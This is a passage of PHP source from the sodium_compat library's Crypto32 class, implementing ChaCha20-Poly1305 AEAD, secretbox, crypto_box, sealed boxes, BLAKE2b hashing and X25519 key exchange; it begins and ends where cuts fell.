 * ParagonIE_Sodium_Compat in your code, not this class.
 */
abstract class ParagonIE_Sodium_Crypto32
{
    const aead_chacha20poly1305_KEYBYTES = 32;
    const aead_chacha20poly1305_NSECBYTES = 0;
    const aead_chacha20poly1305_NPUBBYTES = 8;
    const aead_chacha20poly1305_ABYTES = 16;

    const aead_chacha20poly1305_IETF_KEYBYTES = 32;
    const aead_chacha20poly1305_IETF_NSECBYTES = 0;
    const aead_chacha20poly1305_IETF_NPUBBYTES = 12;
    const aead_chacha20poly1305_IETF_ABYTES = 16;

    const aead_xchacha20poly1305_IETF_KEYBYTES = 32;
    const aead_xchacha20poly1305_IETF_NSECBYTES = 0;
    const aead_xchacha20poly1305_IETF_NPUBBYTES = 24;
    const aead_xchacha20poly1305_IETF_ABYTES = 16;

    const box_curve25519xsalsa20poly1305_SEEDBYTES = 32;
    const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32;
    const box_curve25519xsalsa20poly1305_NONCEBYTES = 24;
    const box_curve25519xsalsa20poly1305_MACBYTES = 16;
    const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16;
    const box_curve25519xsalsa20poly1305_ZEROBYTES = 32;

    const onetimeauth_poly1305_BYTES = 16;
    const onetimeauth_poly1305_KEYBYTES = 32;

    const secretbox_xsalsa20poly1305_KEYBYTES = 32;
    const secretbox_xsalsa20poly1305_NONCEBYTES = 24;
    const secretbox_xsalsa20poly1305_MACBYTES = 16;
    const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16;
    const secretbox_xsalsa20poly1305_ZEROBYTES = 32;

    const secretbox_xchacha20poly1305_KEYBYTES = 32;
    const secretbox_xchacha20poly1305_NONCEBYTES = 24;
    const secretbox_xchacha20poly1305_MACBYTES = 16;
    const secretbox_xchacha20poly1305_BOXZEROBYTES = 16;
    const secretbox_xchacha20poly1305_ZEROBYTES = 32;

    const stream_salsa20_KEYBYTES = 32;

    /**
     * AEAD Decryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_ABYTES;

        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            $clen,
            self::aead_chacha20poly1305_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 0, $clen);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            32,
            $nonce,
            $key
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES;

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            $len - self::aead_chacha20poly1305_IETF_ABYTES,
            self::aead_chacha20poly1305_IETF_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            0,
            $len - self::aead_chacha20poly1305_IETF_ABYTES
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf)));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws TypeError
     */
    public static function auth($message, $key)
    {
        return ParagonIE_Sodium_Core32_Util::substr(
            hash_hmac('sha512', $message, $key, true),
            0,
            32
        );
    }

    /**
     * HMAC-SHA-512-256 validation. Constant-time via hash_equals().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Core32_Util::hashEquals(
            $mac,
            self::auth($message, $key)
        );
    }

    /**
     * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($plaintext, $nonce, $keypair)
    {
        return self::secretbox(
            $plaintext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($message, $publicKey)
    {
        /** @var string $ephemeralKeypair */
        $ephemeralKeypair = self::box_keypair();

        /** @var string $ephemeralSK */
        $ephemeralSK = self::box_secretkey($ephemeralKeypair);

        /** @var string $ephemeralPK */
        $ephemeralPK = self::box_publickey($ephemeralKeypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair - The combined keypair used in crypto_box() */
        $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey);

        /** @var string $ciphertext Ciphertext + MAC from crypto_box */
        $ciphertext = self::box($message, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($ephemeralKeypair);
            ParagonIE_Sodium_Compat::memzero($ephemeralSK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $ephemeralKeypair = null;
            $ephemeralSK = null;
            $nonce = null;
        }
        return $ephemeralPK . $ciphertext;
    }

    /**
     * Opens a message encrypted via box_seal().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($message, $keypair)
    {
        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Core32_Util::substr($message, 0, 32);

        /** @var string $ciphertext (ciphertext + MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 32);

        /** @var string $secretKey */
        $secretKey = self::box_secretkey($keypair);

        /** @var string $publicKey */
        $publicKey = self::box_publickey($keypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair */
        $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK);

        /** @var string $m */
        $m = self::box_open($ciphertext, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($secretKey);
            ParagonIE_Sodium_Compat::memzero($ephemeralPK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $secretKey = null;
            $ephemeralPK = null;
            $nonce = null;
        }
        return $m;
    }

    /**
     * Used by crypto_box() to get the crypto_secretbox() key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_beforenm($sk, $pk)
    {
        return ParagonIE_Sodium_Core32_HSalsa20::hsalsa20(
            str_repeat("\x00", 16),
            self::scalarmult($sk, $pk)
        );
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @return string
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_keypair()
    {
        $sKey = random_bytes(32);
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seed_keypair($seed)
    {
        $sKey = ParagonIE_Sodium_Core32_Util::substr(
            hash('sha512', $seed, true),
            0,
            32
        );
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     * @throws TypeError
     */
    public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey)
    {
        return ParagonIE_Sodium_Core32_Util::substr($sKey, 0, 32) .
            ParagonIE_Sodium_Core32_Util::substr($pKey, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_secretkey($keypair)
    {
        if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== 64) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core32_Util::substr($keypair, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_publickey($keypair)
    {
        if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core32_Util::substr($keypair, 32, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_publickey_from_secretkey($sKey)
    {
        if (ParagonIE_Sodium_Core32_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.'
            );
        }
        return self::scalarmult_base($sKey);
    }

    /**
     * Decrypt a message encrypted with box().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($ciphertext, $nonce, $keypair)
    {
        return self::secretbox_open(
            $ciphertext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * Calculate a BLAKE2b hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string|null $key
     * @param int $outlen
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash($message, $key = '', $outlen = 32)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            /** @var SplFixedArray $k */
            $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message);

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outlen);
        ParagonIE_Sodium_Core32_BLAKE2b::update($ctx, $in, $in->count());

        /** @var SplFixedArray $out */
        $out = new SplFixedArray($outlen);
        $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($ctx, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray);
    }

    /**
     * Finalize a BLAKE2b hashing context, returning the hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param int $outlen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_final($ctx, $outlen = 32)
    {
        if (!is_string($ctx)) {
            throw new TypeError('Context must be a string');
        }
        $out = new SplFixedArray($outlen);

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $out */
        $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($context, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init($key = '', $outputLength = 32)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength);

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @param string $salt
     * @param string $personal
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init_salt_personal(
        $key = '',
        $outputLength = 32,
        $salt = '',
        $personal = ''
    ) {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }
        if (!empty($salt)) {
            $s = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($salt);
        } else {
            $s = null;
        }
        if (!empty($salt)) {
            $p = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($personal);
        } else {
            $p = null;
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength, $s, $p);

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx);
    }

    /**
     * Update a hashing context for BLAKE2b with $message
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param string $message
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_update($ctx, $message)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message);

        ParagonIE_Sodium_Core32_BLAKE2b::update($context, $in, $in->count());

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($context);
    }

    /**
     * Libsodium's crypto_kx().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $my_sk
     * @param string $their_pk
     * @param string $client_pk
     * @param string $server_pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk)
    {
        return self::generichash(
            self::scalarmult($my_sk, $their_pk) .
            $client_pk .
            $server_pk
        );
    }

    /**
     * ECDH over Curve25519
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult($sKey, $pKey)
    {
        $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * ECDH over Curve25519, using the basepoint.
     * Used to get a secret key from a public key.
     *
     * @param string $secret
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult_base($secret)
    {
        $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10_base($secret);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * This throws an Error if a zero public key was passed to the function.
     *
     * @param string $q
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function scalarmult_throw_if_zero($q)
    {
        $d = 0;
        for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) {
            $d |= ParagonIE_Sodium_Core32_Util::chrToInt($q[$i]);
        }

        /* branch-free variant of === 0 */
        if (-(1 & (($d - 1) >> 8))) {
            throw new SodiumException('Zero public key is not allowed');
        }
    }

    /**
     * XSalsa20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            self::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core32_Util::substr(
                    $plaintext,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                1,
                $subkey
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core32_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32)
        );
        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core32_Util::xorStrings(
            ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES)
        );
        if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core32_Util::substr(
                    $c,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                1,
                (string) $subkey
            );
        }
        return $m;
    }

    /**
     * XChaCha20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES;
        }
